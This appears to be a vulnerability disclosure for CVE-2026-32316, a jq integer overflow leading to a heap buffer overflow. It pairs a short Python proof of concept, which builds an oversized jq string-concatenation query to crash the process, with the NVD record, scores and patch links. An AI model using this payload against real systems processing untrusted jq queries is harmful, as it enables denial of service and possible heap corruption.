CVE-2026-32316

# Proof of Concept for CVE-2026-32316 # This PoC demonstrates how to trigger the integer overflow leading to heap buffer overflow in jq. # It attempts to concatenate strings to exceed the 2^31 byte limit. import subprocess import sys # Constructing a payload that forces large string concatenation. # The command uses jq's string multiplication to create a massive string. # 'a' * 1500000000 + 'b' * 1500000000 exceeds 2^31 bytes. payload = 'jq -n \'"a" * 1500000000 + "b" * 1500000000\'' print(f"Attempting to trigger CVE-2026-32316 with payload: {payload}") try: # Execute the command. This will likely cause a segmentation fault due to the overflow. result = subprocess.run(payload, shell=True, check=True, capture_output=True, text=True, timeout=10) print("Output:", result.stdout) except subprocess.CalledProcessError as e: print(f"Exploit failed (expected crash). Return code: {e.returncode}") print(f"Error output: {e.stderr}") except Exception as e: print(f"An error occurred: {e}")

{"cve": {"id": "CVE-2026-32316", "sourceIdentifier": "[email protected]", "published": "2026-04-13T18:16:29.420", "lastModified": "2026-04-22T16:29:09.383", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "jq is a command-line JSON processor. An integer overflow vulnerability exists through version 1.8.1 within the jvp_string_append() and jvp_string_copy_replace_bad functions, where concatenating strings with a combined length exceeding 2^31 bytes causes a 32-bit unsigned integer overflow in the buffer allocation size calculation, resulting in a drastically undersized heap buffer. Subsequent memory copy operations then write the full string data into this undersized buffer, causing a heap buffer overflow classified as CWE-190 (Integer Overflow) leading to CWE-122 (Heap-based Buffer Overflow). Any system evaluating untrusted jq queries is affected, as an attacker can crash the process or potentially achieve further exploitation through heap corruption by crafting queries that produce extremely large strings. The root cause is the absence of string size bounds checking, unlike arrays and objects which already have size limits. The issue has been addressed in commit e47e56d226519635768e6aab2f38f0ab037c09e5."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H", "baseScore": 8.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 4.2}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-122"}, {"lang": "en", "value": "CWE-190"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:jqlang:jq:*:*:*:*:*:*:*:*", "versionEndIncluding": "1.8.1", "matchCriteriaId": "2026D0D9-8A88-43D4-9995-CF7928D9FFB8"}]}]}], "references": [{"url": "https://github.com/jqlang/jq/commit/e47e56d226519635768e6aab2f38f0ab037c09e5", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/jqlang/jq/security/advisories/GHSA-q3h9-m34w-h76f", "source": "[email protected]", "tags": ["Exploit", "Patch", "Vendor Advisory"]}]}}